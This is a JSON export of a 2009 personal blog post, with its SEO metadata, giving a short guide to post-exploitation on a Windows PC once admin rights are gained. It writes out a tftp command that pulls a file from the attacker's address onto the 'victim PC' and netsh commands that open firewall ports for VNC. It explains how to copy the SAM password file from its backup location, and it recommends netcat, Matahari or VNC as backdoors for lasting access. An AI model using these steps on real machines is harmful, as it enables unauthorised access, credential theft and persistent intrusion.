{"id":155,"date":"2009-01-16T13:09:00","date_gmt":"2009-01-16T13:09:00","guid":{"rendered":"http:\/\/jjamwal.in\/blog\/?p=155"},"modified":"2009-01-16T13:09:00","modified_gmt":"2009-01-16T13:09:00","slug":"what-to-do-once-you-get-in-a-remote-pc","status":"publish","type":"post","link":"https:\/\/jjamwal.in\/yayavar\/what-to-do-once-you-get-in-a-remote-pc\/","title":{"rendered":"What to do once you get in a remote PC"},"content":{"rendered":"<p>In this post I&#8217;ll  write about what to do once you gain administrative privileges on a Windows PC.  There&#8217;s lot that you can do, depending upon your inclinations (I hope benign).<br \/>Don&#8217;t ask me how to get admin rights in first place. Figure that out yourself.<br \/>Maybe I&#8217;ll write something on that someday, but not now.<\/p>\n<p>Anyhow, once you get in open a windows command shell.<br \/>Here are a few things you might like to do:<\/p>\n<p><span style=\"font-weight: bold;\">1) Uploading\/downloading files<\/p>\n<p><\/span>First thing you might do is uploading a few files of your choice. TFTP (Trivial File Transfer Protocol) is an excellent choice for this.<br \/>You need to start tftp service\/daemon on your PC first and place the files you want to upload in the programs working directory. In most linux versions, its <span style=\"font-style: italic;\">\/tmp <\/span><\/p>\n<p>Type the following command to upload netsh.exe file.<\/p>\n<p><span style=\"font-style: italic; font-weight: bold;\">C:WINDOWS>tftp -i 192.168.1.10 GET netsh.exe netsh.exe<\/span><\/p>\n<p>Here<\/p>\n<p>-i specifies binary transfer mode<\/p>\n<p>GET tells the victim PC to fetch the file from remote PC. You can use PUT to copy data onto a remote PC<\/p>\n<p>192.168.1.10 is your ip<\/p>\n<p>First netsh.exe is the file you want to upload<\/p>\n<p>Second netsh.exe is the filename you want to keep in victim PC. You can change it to anything you want.<\/p>\n<p><\/p>\n<p><span style=\"font-weight: bold;\">2. Editing network settings<\/span><\/p>\n<p>The file netsh.exe is a Windows program for editing network related settings of a PC. Most  XP PCs don&#8217;t have it by default. You&#8217;ll have to upload it. In this case, it&#8217;s used to open <span style=\"font-size:100%;\">certain ports in Windows Firewall, that otherwise could be blocked. VNC uses ports 5900<\/span> and 5800 for communications. You can edit the firewall setings to unblock these ports by using these commands:<\/p>\n<p style=\"font-weight: bold; font-style: italic;\"> <span style=\"font-family:times new roman;\">netsh firewall set portopening tcp 5800<\/span><\/p>\n<p style=\"font-weight: bold; font-style: italic;\"><span style=\"font-family:times new roman;\">netsh firewall set portopening tcp 5900<br \/><\/span><\/p>\n<p><span style=\"font-family:times new roman;\"><span style=\"font-weight: bold;\"><span style=\"font-style: italic;\">netsh.exe firewall set portopening udp 5900<\/span><br \/><\/span><\/span><\/p>\n<p style=\"font-family: arial;\">This is just an example. You can use this command to block or unblock any port.  Keep in mind, unblocking a particular port doesn&#8217;t mean the service\/program that usually uses the port will start working. For example, unblocking port 23 and trying <span style=\"font-size:100%;\">telnet<\/span> will be of no use, unless telnet service is started on that PC.<\/p>\n<p style=\"font-family: arial;\"><span style=\"font-weight: bold;\">3). Copying SAM<\/span><\/p>\n<p style=\"font-family: arial;\">SAM file contains list of all the users and corresponding passwords in Windows. Though it&#8217;s encryption can be hard to break depending upon password strength, it&#8217;s a very juicy target. There are quite a few paid and free software to do that. It&#8217;s default location is<\/p>\n<p style=\"font-weight: bold; font-style: italic; font-family: arial;\">C:windowssystem32config<\/p>\n<p style=\"font-family: arial;\">It&#8217;s not possible to copy the SAM file directly as it&#8217;s a protected system file. But there is a loophole here too. A backup copy of SAM is almost always located in<\/p>\n<p style=\"font-weight: bold; font-style: italic; font-family: arial;\">C:windowsrepair<\/p>\n<p style=\"font-weight: bold; font-family: arial;\"><span style=\"font-weight: normal;\">You can copy this file to your own PC <\/span><span style=\"font-weight: normal;\">unlike original SAM.<\/span><\/p>\n<p style=\"font-weight: bold; font-family: arial;\"><\/p>\n<p style=\"font-weight: bold; font-family: arial;\"><span style=\"font-weight: normal;\">4). <span style=\"font-weight: bold;\">Uploading a back-door<\/span><\/span><\/p>\n<p style=\"font-weight: bold; font-family: arial;\"><span style=\"font-weight: normal;\">A back-door program for example netcat is necessary if you want to keep unrestricted access. netcat is supposed to be a good program, but most anti-virus programs detect it very easily. So it&#8217;s slightly out of fashion. If that&#8217;s the case, you can try using some script based back-doors like Matahari. It&#8217;s a perl script. Only downside is that the target PC should have perl installed which most windows PCs don&#8217;t have.<br \/>Linux fares better in this case. Another good option is VNC.<br \/><\/span><\/p>\n<p style=\"font-weight: bold; font-family: arial;\"><\/p>\n<p style=\"font-weight: bold; font-family: arial;\"><\/p>\n<p style=\"font-weight: bold; font-family: arial;\"><span style=\"font-weight: normal;\">That&#8217;s enough for now<span style=\"font-weight: bold;\">. <\/span>Let me know if you have any suggestions or corrections.<span style=\"font-weight: bold;\"><br \/><\/span><\/span><\/p>\n<p style=\"font-weight: bold;\"><span style=\"font-family:times new roman;\"><span style=\"font-weight: normal; font-family: arial;\"><\/span><br \/><\/span><\/p>\n","protected":false},"excerpt":{"rendered":"<p>In this post I&#8217;ll write about what to do once you gain administrative privileges on a Windows PC. There&#8217;s lot that you can do, depending upon your inclinations (I hope benign).Don&#8217;t ask me how to get admin rights in first place. Figure that out yourself.Maybe I&#8217;ll write something on that someday, but not now. Anyhow,&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[188,245,275],"class_list":["post-155","post","type-post","status-publish","format-standard","hentry","category-uncategorized","tag-hacking","tag-network","tag-security"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.3 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>What to do once you get in a remote PC - \u0905\u0930\u0947 \u092f\u093e\u092f\u093e\u0935\u0930 \u0930\u0939\u0947\u0917\u093e \u092f\u093e\u0926?<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/jjamwal.in\/yayavar\/what-to-do-once-you-get-in-a-remote-pc\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"What to do once you get in a remote PC - \u0905\u0930\u0947 \u092f\u093e\u092f\u093e\u0935\u0930 \u0930\u0939\u0947\u0917\u093e \u092f\u093e\u0926?\" \/>\n<meta property=\"og:description\" content=\"In this post I&#8217;ll write about what to do once you gain administrative privileges on a Windows PC. There&#8217;s lot that you can do, depending upon your inclinations (I hope benign).Don&#8217;t ask me how to get admin rights in first place. Figure that out yourself.Maybe I&#8217;ll write something on that someday, but not now. Anyhow,...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/jjamwal.in\/yayavar\/what-to-do-once-you-get-in-a-remote-pc\/\" \/>\n<meta property=\"og:site_name\" content=\"\u0905\u0930\u0947 \u092f\u093e\u092f\u093e\u0935\u0930 \u0930\u0939\u0947\u0917\u093e \u092f\u093e\u0926?\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/jjamwalin\" \/>\n<meta property=\"article:author\" content=\"https:\/\/www.facebook.com\/jjamwalin\" \/>\n<meta property=\"article:published_time\" content=\"2009-01-16T13:09:00+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/jjamwal.in\/yayavar\/wp-content\/uploads\/2022\/01\/jjamwalin-logo-2-small.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"200\" \/>\n\t<meta property=\"og:image:height\" content=\"200\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"Jaidev Jamwal\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@JaidevJamwal\" \/>\n<meta name=\"twitter:site\" content=\"@JaidevJamwal\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Jaidev Jamwal\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"3 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/jjamwal.in\\\/yayavar\\\/what-to-do-once-you-get-in-a-remote-pc\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/jjamwal.in\\\/yayavar\\\/what-to-do-once-you-get-in-a-remote-pc\\\/\"},\"author\":{\"name\":\"Jaidev Jamwal\",\"@id\":\"https:\\\/\\\/jjamwal.in\\\/yayavar\\\/#\\\/schema\\\/person\\\/4b29cbc0fe18a86ec09a7c01177deac4\"},\"headline\":\"What to do once you get in a remote PC\",\"datePublished\":\"2009-01-16T13:09:00+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/jjamwal.in\\\/yayavar\\\/what-to-do-once-you-get-in-a-remote-pc\\\/\"},\"wordCount\":562,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/jjamwal.in\\\/yayavar\\\/#\\\/schema\\\/person\\\/4b29cbc0fe18a86ec09a7c01177deac4\"},\"keywords\":[\"hacking\",\"network\",\"security\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/jjamwal.in\\\/yayavar\\\/what-to-do-once-you-get-in-a-remote-pc\\\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/jjamwal.in\\\/yayavar\\\/what-to-do-once-you-get-in-a-remote-pc\\\/\",\"url\":\"https:\\\/\\\/jjamwal.in\\\/yayavar\\\/what-to-do-once-you-get-in-a-remote-pc\\\/\",\"name\":\"What to do once you get in a remote PC - \u0905\u0930\u0947 \u092f\u093e\u092f\u093e\u0935\u0930 \u0930\u0939\u0947\u0917\u093e \u092f\u093e\u0926?\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/jjamwal.in\\\/yayavar\\\/#website\"},\"datePublished\":\"2009-01-16T13:09:00+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/jjamwal.in\\\/yayavar\\\/what-to-do-once-you-get-in-a-remote-pc\\\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/jjamwal.in\\\/yayavar\\\/what-to-do-once-you-get-in-a-remote-pc\\\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/jjamwal.in\\\/yayavar\\\/what-to-do-once-you-get-in-a-remote-pc\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/jjamwal.in\\\/yayavar\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"What to do once you get in a remote PC\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/jjamwal.in\\\/yayavar\\\/#website\",\"url\":\"https:\\\/\\\/jjamwal.in\\\/yayavar\\\/\",\"name\":\"\u0905\u0930\u0947 \u092f\u093e\u092f\u093e\u0935\u0930 \u0930\u0939\u0947\u0917\u093e \u092f\u093e\u0926?\",\"description\":\"Travel, Defence, Books &amp; Photography\",\"publisher\":{\"@id\":\"https:\\\/\\\/jjamwal.in\\\/yayavar\\\/#\\\/schema\\\/person\\\/4b29cbc0fe18a86ec09a7c01177deac4\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/jjamwal.in\\\/yayavar\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":[\"Person\",\"Organization\"],\"@id\":\"https:\\\/\\\/jjamwal.in\\\/yayavar\\\/#\\\/schema\\\/person\\\/4b29cbc0fe18a86ec09a7c01177deac4\",\"name\":\"Jaidev Jamwal\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/jjamwal.in\\\/yayavar\\\/wp-content\\\/uploads\\\/2022\\\/01\\\/jjamwalin-logo-2-small.jpg\",\"url\":\"https:\\\/\\\/jjamwal.in\\\/yayavar\\\/wp-content\\\/uploads\\\/2022\\\/01\\\/jjamwalin-logo-2-small.jpg\",\"contentUrl\":\"https:\\\/\\\/jjamwal.in\\\/yayavar\\\/wp-content\\\/uploads\\\/2022\\\/01\\\/jjamwalin-logo-2-small.jpg\",\"width\":200,\"height\":200,\"caption\":\"Jaidev Jamwal\"},\"logo\":{\"@id\":\"https:\\\/\\\/jjamwal.in\\\/yayavar\\\/wp-content\\\/uploads\\\/2022\\\/01\\\/jjamwalin-logo-2-small.jpg\"},\"sameAs\":[\"http:\\\/\\\/jjamwal.in\",\"https:\\\/\\\/www.facebook.com\\\/jjamwalin\",\"https:\\\/\\\/www.instagram.com\\\/jamwal.jaidev\\\/\",\"https:\\\/\\\/x.com\\\/JaidevJamwal\",\"https:\\\/\\\/www.youtube.com\\\/channel\\\/UCuqw1ikTDrd3Lzf6RivuR6Q\"],\"url\":\"https:\\\/\\\/jjamwal.in\\\/yayavar\\\/author\\\/jaidev\\\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"What to do once you get in a remote PC - \u0905\u0930\u0947 \u092f\u093e\u092f\u093e\u0935\u0930 \u0930\u0939\u0947\u0917\u093e \u092f\u093e\u0926?","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/jjamwal.in\/yayavar\/what-to-do-once-you-get-in-a-remote-pc\/","og_locale":"en_US","og_type":"article","og_title":"What to do once you get in a remote PC - \u0905\u0930\u0947 \u092f\u093e\u092f\u093e\u0935\u0930 \u0930\u0939\u0947\u0917\u093e \u092f\u093e\u0926?","og_description":"In this post I&#8217;ll write about what to do once you gain administrative privileges on a Windows PC. There&#8217;s lot that you can do, depending upon your inclinations (I hope benign).Don&#8217;t ask me how to get admin rights in first place. Figure that out yourself.Maybe I&#8217;ll write something on that someday, but not now. Anyhow,...","og_url":"https:\/\/jjamwal.in\/yayavar\/what-to-do-once-you-get-in-a-remote-pc\/","og_site_name":"\u0905\u0930\u0947 \u092f\u093e\u092f\u093e\u0935\u0930 \u0930\u0939\u0947\u0917\u093e \u092f\u093e\u0926?","article_publisher":"https:\/\/www.facebook.com\/jjamwalin","article_author":"https:\/\/www.facebook.com\/jjamwalin","article_published_time":"2009-01-16T13:09:00+00:00","og_image":[{"width":200,"height":200,"url":"https:\/\/jjamwal.in\/yayavar\/wp-content\/uploads\/2022\/01\/jjamwalin-logo-2-small.jpg","type":"image\/jpeg"}],"author":"Jaidev Jamwal","twitter_card":"summary_large_image","twitter_creator":"@JaidevJamwal","twitter_site":"@JaidevJamwal","twitter_misc":{"Written by":"Jaidev Jamwal","Est. reading time":"3 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/jjamwal.in\/yayavar\/what-to-do-once-you-get-in-a-remote-pc\/#article","isPartOf":{"@id":"https:\/\/jjamwal.in\/yayavar\/what-to-do-once-you-get-in-a-remote-pc\/"},"author":{"name":"Jaidev Jamwal","@id":"https:\/\/jjamwal.in\/yayavar\/#\/schema\/person\/4b29cbc0fe18a86ec09a7c01177deac4"},"headline":"What to do once you get in a remote PC","datePublished":"2009-01-16T13:09:00+00:00","mainEntityOfPage":{"@id":"https:\/\/jjamwal.in\/yayavar\/what-to-do-once-you-get-in-a-remote-pc\/"},"wordCount":562,"commentCount":0,"publisher":{"@id":"https:\/\/jjamwal.in\/yayavar\/#\/schema\/person\/4b29cbc0fe18a86ec09a7c01177deac4"},"keywords":["hacking","network","security"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/jjamwal.in\/yayavar\/what-to-do-once-you-get-in-a-remote-pc\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/jjamwal.in\/yayavar\/what-to-do-once-you-get-in-a-remote-pc\/","url":"https:\/\/jjamwal.in\/yayavar\/what-to-do-once-you-get-in-a-remote-pc\/","name":"What to do once you get in a remote PC - \u0905\u0930\u0947 \u092f\u093e\u092f\u093e\u0935\u0930 \u0930\u0939\u0947\u0917\u093e \u092f\u093e\u0926?","isPartOf":{"@id":"https:\/\/jjamwal.in\/yayavar\/#website"},"datePublished":"2009-01-16T13:09:00+00:00","breadcrumb":{"@id":"https:\/\/jjamwal.in\/yayavar\/what-to-do-once-you-get-in-a-remote-pc\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/jjamwal.in\/yayavar\/what-to-do-once-you-get-in-a-remote-pc\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/jjamwal.in\/yayavar\/what-to-do-once-you-get-in-a-remote-pc\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/jjamwal.in\/yayavar\/"},{"@type":"ListItem","position":2,"name":"What to do once you get in a remote PC"}]},{"@type":"WebSite","@id":"https:\/\/jjamwal.in\/yayavar\/#website","url":"https:\/\/jjamwal.in\/yayavar\/","name":"\u0905\u0930\u0947 \u092f\u093e\u092f\u093e\u0935\u0930 \u0930\u0939\u0947\u0917\u093e \u092f\u093e\u0926?","description":"Travel, Defence, Books &amp; Photography","publisher":{"@id":"https:\/\/jjamwal.in\/yayavar\/#\/schema\/person\/4b29cbc0fe18a86ec09a7c01177deac4"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/jjamwal.in\/yayavar\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":["Person","Organization"],"@id":"https:\/\/jjamwal.in\/yayavar\/#\/schema\/person\/4b29cbc0fe18a86ec09a7c01177deac4","name":"Jaidev Jamwal","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/jjamwal.in\/yayavar\/wp-content\/uploads\/2022\/01\/jjamwalin-logo-2-small.jpg","url":"https:\/\/jjamwal.in\/yayavar\/wp-content\/uploads\/2022\/01\/jjamwalin-logo-2-small.jpg","contentUrl":"https:\/\/jjamwal.in\/yayavar\/wp-content\/uploads\/2022\/01\/jjamwalin-logo-2-small.jpg","width":200,"height":200,"caption":"Jaidev Jamwal"},"logo":{"@id":"https:\/\/jjamwal.in\/yayavar\/wp-content\/uploads\/2022\/01\/jjamwalin-logo-2-small.jpg"},"sameAs":["http:\/\/jjamwal.in","https:\/\/www.facebook.com\/jjamwalin","https:\/\/www.instagram.com\/jamwal.jaidev\/","https:\/\/x.com\/JaidevJamwal","https:\/\/www.youtube.com\/channel\/UCuqw1ikTDrd3Lzf6RivuR6Q"],"url":"https:\/\/jjamwal.in\/yayavar\/author\/jaidev\/"}]}},"_links":{"self":[{"href":"https:\/\/jjamwal.in\/yayavar\/wp-json\/wp\/v2\/posts\/155","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/jjamwal.in\/yayavar\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/jjamwal.in\/yayavar\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/jjamwal.in\/yayavar\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/jjamwal.in\/yayavar\/wp-json\/wp\/v2\/comments?post=155"}],"version-history":[{"count":0,"href":"https:\/\/jjamwal.in\/yayavar\/wp-json\/wp\/v2\/posts\/155\/revisions"}],"wp:attachment":[{"href":"https:\/\/jjamwal.in\/yayavar\/wp-json\/wp\/v2\/media?parent=155"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/jjamwal.in\/yayavar\/wp-json\/wp\/v2\/categories?post=155"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/jjamwal.in\/yayavar\/wp-json\/wp\/v2\/tags?post=155"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}